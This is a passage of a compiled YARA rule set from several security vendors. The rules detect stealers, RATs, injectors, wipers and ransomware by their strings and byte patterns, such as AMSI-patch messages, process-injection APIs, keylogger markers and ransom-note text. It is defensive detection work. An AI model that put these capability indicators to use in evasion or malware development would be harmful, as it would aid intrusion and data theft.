		$s4 = "System.Web.Extensions.dll" wide
		$s5 = "System.Windows.Forms.dll" wide
		$s6 = "CSharp" wide
	condition:
		all of ( $s* ) and filesize < 200KB
}


rule RUSSIANPANDA_Weyhroc2 : FILE
{
	meta:
		description = "Detects Weyhro C2"
		author = "RussianPanda"
		id = "228bc7be-ebe0-5dcd-aaf3-be0bf5aa6e1b"
		date = "2025-12-04"
		modified = "2025-12-05"
		reference = "https://x.com/RussianPanda9xx/status/1996258417476837746?s=20"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WeyhroC2/win_mal_weyhroc2.yar#L1-L15"
		license_url = "N/A"
		hash = "ec4ab4e4d700c9e5fdda59eb879a2bf18d0eefd825539d64677144d43a744cee"
		logic_hash = "fe15c701afd3f7bc6ecd0f1d228f158f4cec5d0ad8932f0014e4d78ca7427f43"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "AMSI patch skipped"
		$s2 = "AMSI patched successfully"
		$s3 = "IAT unhook successful"
		$s4 = "Inline unhook successful"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Win_Mal_Glorysprout_Stealer : FILE
{
	meta:
		description = "Detects GlorySprout Stealer"
		author = "RussianPanda"
		id = "44c50f20-479e-5960-9ab9-97b9a17d7cbf"
		date = "2024-03-16"
		modified = "2024-03-16"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GlorySprout/win_mal_GlorySprout_Stealer.yar#L1-L13"
		license_url = "N/A"
		hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a"
		logic_hash = "c843f7924e69c1b9fc3676178aa630319fe25605deddcd73c4905c51cc97d7eb"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40}
		$s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08}
		$s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18}
	condition:
		uint16( 0 ) == 0x5A4D and all of them and #s1 > 100
}

rule RUSSIANPANDA_Win_Mal_Astarionrat : FILE
{
	meta:
		description = "Detects AstarionRAT"
		author = "RussianPanda"
		id = "70588745-761a-5b74-a612-7affde300b09"
		date = "2025-02-14"
		modified = "2026-02-14"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AstarionRAT/win_mal_AstarionRAT.yar#L1-L13"
		license_url = "N/A"
		hash = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
		logic_hash = "ea8050f9127fdbc70b3e8f390bb557b9ac39045e98a1998f11363016d17c3164"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "s5://%s:%s@%s:%d"
		$s2 = "Failed to connect to the server"
		$s3 = "Impersonated"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule RUSSIANPANDA_Meduzastealer : FILE
{
	meta:
		description = "Detects MeduzaStealer 1-2024"
		author = "RussianPanda"
		id = "6bc4c048-a32d-5a9c-b213-980c64d08d29"
		date = "2024-01-01"
		modified = "2024-01-01"
		reference = "https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MeduzaStealer/MeduzaStealer_1-1-2024.yar#L1-L16"
		license_url = "N/A"
		logic_hash = "0547e51abd04302c45f1319bc21046ade019bc98eb85d9cba67cb2109ff642eb"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$s1 = {41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 57 69 6e 55 70 64 61 74 65 2e 65 78 65}
		$s2 = {0f 57 ?? ?? ?? 00 00 66 0f 7f 85 ?? ?? 00 00}
		$s3 = {48 8d 15 ?? ?? 05 00 49 8b cf}
		$s4 = {48 8d 0d ?? ?? 06 00 ff 15 ?? ?? 06 00}
	condition:
		3 of ( $s* ) and filesize < 1MB
}

/*
 * YARA Rule Set
 * Repository Name: CadoSecurity
 * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
 * Number of Rules: 7
 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule CADOSECURITY_Lambda_Malware : FILE
{
	meta:
		description = "Detects AWS Lambda Malware"
		author = "cdoman@cadosecurity.com"
		id = "cd867d39-7ff8-599a-bd65-e0f5581ac3f6"
		date = "2022-04-03"
		modified = "2022-07-06"
		reference = "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Lambda_Malware.yar#L1-L17"
		license_url = "N/A"
		logic_hash = "46567ceeb39a3b3379fc5ee876e1539b24e8192af8fe31b5df16fb2b3105f176"
		score = 75
		quality = 80
		tags = "FILE"
		license = "Apache License 2.0"
		hash1 = "739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed"
		hash2 = "a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbbca"
	strings:
		$a = "github.com/likexian/doh-go/provider/"
		$b = "Mozilla/5.0 (compatible; Ezooms/1.0; help@moz.com)"
		$c = "username:password pair for mining server"
	condition:
		filesize < 30000KB and all of them
}

rule CADOSECURITY_Whispergate_Stage_1 : FILE
{
	meta:
		description = "Detects first stage payload from WhisperGate"
		author = "mmuir@cadosecurity.com"
		id = "603aa1f9-749f-5cce-b49f-0005b7949e2c"
		date = "2022-01-17"
		modified = "2023-04-10"
		reference = "https://github.com/cado-security/DFIR_Resources_Whispergate"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Whispergate_Stage_1.yar#L1-L16"
		license_url = "N/A"
		hash = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
		logic_hash = "b8d8f2f56fe3a6f42699b7736386f9e8083fc728d06750f51064be1ff2f6620b"
		score = 75
		quality = 72
		tags = "FILE"
		license = "Apache License 2.0"
	strings:
		$a = { 31 41 56 4E 4D 36 38 67 6A 36 50 47 50 46 63 4A 75 66 74 4B 41 54 61 34 57 4C 6E 7A 67 38 66 70 66 76 }
		$b = { 38 42 45 44 43 34 31 31 30 31 32 41 33 33 42 41 33 34 46 34 39 31 33 30 44 30 46 31 38 36 39 39 33 43 36 41 33 32 44 41 44 38 39 37 36 46 36 41 35 44 38 32 43 31 45 44 32 33 30 35 34 43 30 35 37 45 43 45 44 35 34 39 36 46 36 35 }
		$c = { 24 31 30 6B 20 76 69 61 20 62 69 74 63 6F 69 6E 20 77 61 6C 6C 65 74 }
		$d = { 74 6F 78 20 49 44 }
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CADOSECURITY_Wiper_Ukr_Feb_2022 : FILE
{
	meta:
		description = "Detects Wiper seen in Ukraine 23rd Feb 2022"
		author = "cadosecurity.com"
		id = "98f80c1b-7575-51d4-8265-680ea204990a"
		date = "2022-02-23"
		modified = "2023-04-10"
		reference = "https://github.com/cado-security/wiper_feb_2022"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Wiper_Ukr_Feb_2022.yar#L1-L18"
		license_url = "N/A"
		hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
		logic_hash = "fa96b88c42bdd4ba437f090d781b38c5c7f9fcb690aeff4161f24aedb1870587"
		score = 75
		quality = 80
		tags = "FILE"
		license = "Apache License 2.0"
	strings:
		$ = "Hermetica Digital Ltd" wide ascii
		$ = "DRV_XP_X64" wide ascii
		$ = "Windows\\System32\\winevt\\Logs" wide ascii
		$ = "EPMNTDRV\\%u" wide ascii
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

/*
 * YARA Rule Set
 * Repository Name: Check Point
 * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
 * Number of Rules: 4
 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule CHECK_POINT_Injector_ZZ_Dotrunpex_Oldnew : FILE
{
	meta:
		description = "Detects new and old version of dotRunpeX - configurable .NET injector"
		author = "Jiri Vinopal (jiriv)"
		id = "43e2d520-bfe4-5530-a5b4-508cfba9d06e"
		date = "2022-10-30"
		modified = "2023-04-10"
		reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar#L1-L45"
		license_url = "N/A"
		logic_hash = "c6ae0b4fb6cae16ae8d71e238f7753e0eadd23820507616fa2331375f4403052"
		score = 75
		quality = 85
		tags = "FILE"
		hash1_New = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232"
		hash2_New = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636"
		hash3_New = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80"
		hash4_New = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504"
		hash5_New = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591"
		hash6_New = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db"
		hash7_New = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452"
		hash8_New = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5"
		hash1_Old = "1e7614f757d40a2f5e2f4bd5597d04878768a9c01aa5f9f23d6c87660f7f0fbc"
		hash2_Old = "317e6817bba0f54e1547dd9acf24ee17a4cda1b97328cc69dc1ec16e11c258fc"
		hash3_Old = "65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b"
		hash4_Old = "68ae2ee5ed7e793c1a49cbf1b0dd7f5a3de9cb783b51b0953880994a79037326"
		hash5_Old = "81763d8e3b42d07d76b0a74eda4e759981971635d62072c8da91251fc849b91e"
	strings:
		$implmap1 = "VirtualAllocEx"
		$implmap2 = "CreateProcess"
		$implmap3 = "CreateRemoteThread"
		$implmap4 = "Wow64SetThreadContext"
		$implmap5 = "Wow64GetThreadContext"
		$implmap6 = "RtlInitUnicodeString"
		$implmap7 = "NtLoadDriver"
		$implmap8 = "LoadLibrary"
		$implmap9 = "VirtualProtect"
		$implmap10 = "AdjustTokenPrivileges"
		$implmap11 = "GetProcAddress"
		$modulerefKernel1 = "Kernel32"
		$modulerefKernel2 = "kernel32"
		$modulerefNtdll1 = "Ntdll"
		$modulerefNtdll2 = "ntdll"
		$regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide
		$rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
		$koiVM1 = "KoiVM"
		$koiVM2 = "#Koi"
	condition:
		uint16( 0 ) == 0x5a4d and uint16( uint32( 0x3c ) ) == 0x4550 and ( $regPath or $rsrcName or 1 of ( $koiVM* ) ) and 9 of ( $implmap* ) and 1 of ( $modulerefKernel* ) and 1 of ( $modulerefNtdll* )
}

rule CHECK_POINT_Injector_ZZ_Dotrunpex : FILE
{
	meta:
		description = "Detects new version of dotRunpeX - configurable .NET injector"
		author = "Jiri Vinopal (jiriv)"
		id = "6cdbe54b-2e8d-5f7b-81ac-983236d1449f"
		date = "2022-10-30"
		modified = "2023-04-10"
		reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX.yar#L1-L58"
		license_url = "N/A"
		logic_hash = "ca4336533f90598a6b6f594036e20595073e0e7cab5fcd186995c5c7f2be287e"
		score = 75
		quality = 83
		tags = "FILE"
		hash1 = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232"
		hash2 = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636"
		hash3 = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80"
		hash4 = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504"
		hash5 = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591"
		hash6 = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db"
		hash7 = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452"
		hash8 = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5"
	strings:
		$implmap1 = "VirtualAllocEx"
		$implmap2 = "CreateProcess"
		$implmap3 = "CreateRemoteThread"
		$implmap4 = "Wow64SetThreadContext"
		$implmap5 = "Wow64GetThreadContext"
		$implmap6 = "NtResumeThread"
		$implmap7 = "ZwUnmapViewOfSection"
		$implmap8 = "NtWriteVirtualMemory"
		$implmap9 = "MessageBox"
		$implmap10 = "Wow64DisableWow64FsRedirection"
		$implmap11 = "Wow64RevertWow64FsRedirection"
		$implmap12 = "CreateFile"
		$implmap13 = "RtlInitUnicodeString"
		$implmap14 = "NtLoadDriver"
		$implmap15 = "NtUnloadDriver"
		$implmap16 = "OpenProcessToken"
		$implmap17 = "LookupPrivilegeValue"
		$implmap18 = "AdjustTokenPrivileges"
		$implmap19 = "CloseHandle"
		$implmap20 = "NtQuerySystemInformation"
		$implmap21 = "DeviceIoControl"
		$implmap22 = "GetProcessHeap"
		$implmap23 = "HeapFree"
		$implmap24 = "HeapAlloc"
		$implmap25 = "GetProcAddress"
		$implmap26 = "CopyMemory"
		$modulerefKernel1 = "Kernel32"
		$modulerefKernel2 = "kernel32"
		$modulerefNtdll1 = "Ntdll"
		$modulerefNtdll2 = "ntdll"
		$modulerefAdvapi1 = "Advapi32"
		$modulerefAdvapi2 = "advapi32"
		$regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide
		$rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
		$koiVM1 = "KoiVM"
		$koiVM2 = "#Koi"
	condition:
		uint16( 0 ) == 0x5a4d and uint16( uint32( 0x3c ) ) == 0x4550 and ( $regPath or $rsrcName or 1 of ( $koiVM* ) ) and 24 of ( $implmap* ) and 1 of ( $modulerefKernel* ) and 1 of ( $modulerefNtdll* ) and 1 of ( $modulerefAdvapi* )
}

/*
 * YARA Rule Set
 * Repository Name: BlackBerry
 * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
 * Number of Rules: 19
 * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule BLACKBERRY_Boratrat : FILE
{
	meta:
		description = "Detects BoratRAT.exe"
		author = "BlackBerry Threat Research Team"
		id = "d3c73c3b-885a-5fc2-a1bd-a05cadf1512f"
		date = "2022-04-13"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/BoratRAT.yar#L1-L41"
		license_url = "N/A"
		logic_hash = "3141300495288a96b48cfea491683042d172143295135ff82c058200c8d5108d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "enigma1"
		$s2 = "enigma2"
		$s3 = "Server.Forms.FormFileManager.resources"
		$s4 = "Server.Forms.FormFileSearcher.resources"
		$s5 = "Server.Forms.FormKeylogger.resources"
		$s6 = "Server.Forms.FormNetstat.resources"
		$s7 = "Server.Forms.FormFun.resources"
		$s8 = "Server.Forms.FormWebcam.resources"
		$s9 = "BoratRat"
		$s10 = "Keylogger.exe"
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}


rule BLACKBERRY_Eternityclipper : FILE
{
	meta:
		description = "Detects Eternity Clipper"
		author = "BlackBerry Threat Research Team"
		id = "18aedf62-2062-5f3a-a4b2-6c647efcf85b"
		date = "2022-05-22"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityClipper.yar#L4-L30"
		license_url = "N/A"
		logic_hash = "bb766a8bcb0f31babdc12ceac9bb56b8b6a25119ec713fe30b99ed975f4b7a39"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "CopyFromScreen"
		$s2 = "CaptureDesktop"
		$s3 = "Win32Clipboard"
		$s4 = "Clipboard Manager"
		$s5 = "Eternity.exe" wide
		$s6 = "AddClipboardFormatListener"
		$s7 = "AesCryptoServiceProvider"
	condition:
		( uint16( 0 ) == 0x5a4d and all of ( $s* ) )
}


rule BLACKBERRY_Boratratinformation : FILE
{
	meta:
		description = "Detects BoratRAT Information Module"
		author = "BlackBerry Threat Research Team"
		id = "2bd2ec00-3aa5-5f41-9e5b-713398a35b4a"
		date = "2022-04-13"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/BoratRATInformation.yar#L1-L45"
		license_url = "N/A"
		logic_hash = "17545a0834e339039361802a6d675303a975b9de013620068f1a516e49e3138f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "set_UseShellExecute"
		$s2 = "execCMD"
		$s3 = "hostname" wide
		$s4 = "ipconfig" wide
		$s5 = "tasklist" wide
		$s6 = "arp -a" wide
		$sp = {43 3A 5C 55 73 65 72 73 5C 41 64 6D 69 6E 69 
                   73 74 72 61 74 6F 72 5C 44 6F 77 6E 6C 6F 61 
                   64 73 5C 53 61 6E 74 61 52 61 74 2D 6D 61 69 
                   6E 5C 42 69 6E 61 72 69 65 73 5C 52 65 6C 65  
                   61 73 65 5C 50 6C 75 67 69 6E 73 5C 49 6E 66 
                   6F 72 6D 61 74 69 6F 6E 2E 70 64 62}
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule BLACKBERRY_Windealer_Library : FILE
{
	meta:
		description = "Detects WinDealer Loaded DLL"
		author = "BlackBerry Threat Research Team"
		id = "d7fbf21b-9144-532a-ad5d-29543f0ffc33"
		date = "2022-06-14"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Windealer_Library.yar#L1-L26"
		license_url = "N/A"
		logic_hash = "35151a8c0486ceaddb5020cb81f644bba4b01d5f8e4726786abc65ae92ca9c3e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "C:\\Users\\Public\\Documents\\Tencent\\QQ\\UserDataInfo.ini"
		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
		$s3 = "SOFTWARE\\SogouInput\\red"
		$s4 = "SOFTWARE\\SogouDesktopBar"
		$s5 = "MozillaDll.dll"
		$s6 = "Tencent Files"
		$s7 = "wangwang"
		$s8 = "WeChat Files"
		$s9 = "MyDocument"
		$s10 = "Skype"
		$e1 = "AutoGetSystemInfo"
		$e2 = "GetConfigInfo"
		$e3 = "partInitOpt"
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}




rule BLACKBERRY_Snake : FILE
{
	meta:
		description = "Detects Snake"
		author = "BlackBerry Threat Research Team"
		id = "a8169a4e-4acd-5e54-915f-af1ff7f4cb1a"
		date = "2022-06-03"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Snake.yar#L1-L19"
		license_url = "N/A"
		logic_hash = "70ba9a649f9926fd204d45eafd42ce639811552c132b743367d2ba8ebaf3ee63"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "Game1Screen_Form_Load"
		$s2 = "get_KeyCode"
		$s3 = "Good luck mate"
	condition:
		filesize < 1000KB and all of them
}

rule BLACKBERRY_Eternityransom : FILE
{
	meta:
		description = "Detects Eternity Ransomware"
		author = "BlackBerry Threat Research Team"
		id = "2a00bca6-2245-5330-9ad7-522f7bab42f4"
		date = "2022-05-22"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityRansom.yar#L4-L28"
		license_url = "N/A"
		logic_hash = "9c4eabc8441b0bb80e582f4227f85b3e000e3fc6b1da237d9ce55df9716fb571"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "The harddisks of your computer have been encrypted with an Military grade encryption algorithm."
		$s2 = "by Eternity group"
		$s3 = "Eternity"
		$s4 = "decryption_password"
		$s5 = "Povlsomware"
	condition:
		( uint16( 0 ) == 0x5a4d and all of ( $s* ) )
}

rule BLACKBERRY_Boratratkeylogger : FILE
{
	meta:
		description = "Detects BoratRAT Keylogger"
		author = "BlackBerry Threat Research Team"
		id = "8bcec652-a76b-5bfc-bf2c-bb8ce6a88ed5"
		date = "2022-04-13"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/BoratRATKeylogger.yar#L1-L39"
		license_url = "N/A"
		logic_hash = "ea3f39b675f02274b19b5732d065a0fcb05a4fe150f10a452a844af71b69aed2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0   (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "Sa8XOfH1BudXLog.txt" wide
		$s2 = "[CAPSLOCK: ON]" wide
		$s3 = "[CAPSLOCK: OFF]" wide
		$s4 = "[SPACE]" wide
		$s5 = "[ENTER]" wide
		$sp = { 43 3A 5C 55 73 65 72 73 5C 41 64 6D 69 6E 69 73 74 72 61 74 6F 72 5C
                    44 6F 77 6E 6C 6F 61 64 73 5C 53 61 6E 74 61 52 61 74 2D 6D 61 69 6E 
                    5C 42 69 6E 61 72 69 65 73 5C 52 65 6C 65 61 73 65 5C 50 6C 75 67 69 
                    6E 73 5C 4B 65 79 6C 6F 67 67 65 72 2E 70 64 62 }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}




rule BLACKBERRY_Mal_Backdoor_Chachi_RAT : FILE
{
	meta:
		description = "ChaChi RAT used in PYSA Ransomware Campaigns"
		author = "BlackBerry Threat Research & Intelligence"
		id = "f0d531d3-585a-5194-ac30-fc62433d0ffc"
		date = "2022-07-07"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Backdoor_ChaChi_RAT.yar#L1-L25"
		license_url = "N/A"
		logic_hash = "b49f22ceb57a21716c05dcf264cc239596f3a076525d7416961ae1f38bcf25bd"
		score = 75
		quality = 77
		tags = "FILE"
	strings:
		$go = { 47 6F 20 62 75 69 6C 64 20 49 44 3A }
		$dnsStream = { 64 6E 73 53 74 72 65 61 6D }
		$socks5 = { 53 4F 43 4B 53 35 }
		$chisel = { 63 68 69 73 65 6C }
	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them
}

rule BLACKBERRY_Windealer_Executable : FILE
{
	meta:
		description = "Detects WinDealer Executable"
		author = "BlackBerry Threat Research Team"
		id = "68fe2b61-5c2d-5434-a9c5-dae25ccd40a0"
		date = "2022-06-14"
		modified = "2022-07-07"
		reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Windealer_executable.yar#L1-L23"
		license_url = "N/A"
		logic_hash = "296e89ca89d063d165b6abab6a1e1e0b641cbbe7ff0ea60125c6beada457a95b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "28e4-20a6acec"
		$s2 = "5a7e-42ccdb67"
		$s3 = "632c-0ef22957"
		$s4 = "63ae-a20cf808"
		$s5 = "65ce-731bffbb"
		$a1 = "remoteip"
		$a2 = "sessionid"
		$a3 = "remotedomain"
		$a4 = "remark"
	condition:
		uint16( 0 ) == 0x5a4d and 2 of ( $s* ) and 1 of ( $a* )
}

rule BLACKBERRY_Mal_Win32_Chaos_Builder_Ransomware_2022 : FILE
{
	meta:
		description = "Detects Chaos Ransomware Builder"
		author = "BlackBerry Threat Research"
		id = "53c812da-802c-5116-89aa-455d1a20a179"
		date = "2022-05-10"
		modified = "2022-07-08"
		reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Win32_Chaos_Builder_Ransomware_2022.yar#L4-L44"
		license_url = "N/A"
		logic_hash = "32b68ef2f6e011255080f2666170a4fad42c6a8dd28a05c1a58936dcd27084ec"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s0 = "1qw0ll8p9m8uezhqhyd" ascii wide
		$s1 = "Chaos Ransomware Builder" ascii wide
		$s2 = "payloadFutureName" ascii wide
		$s3 = "read_it.txt" ascii wide
		$s4 = "encryptedFileExtension" ascii wide
		$x0 = "1098576" ascii wide
		$x1 = "2197152" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) ) and ( 1 of ( $x* ) ) )
}

rule BLACKBERRY_Headertip : FILE
{
	meta:
		description = "Detects HeaderTip"
		author = "BlackBerry Threat Research Team"
		id = "8569fed8-0fa8-515a-8ca2-ca4c2a959bbe"
		date = "2022-04-06"
		modified = "2022-07-06"
		reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine"
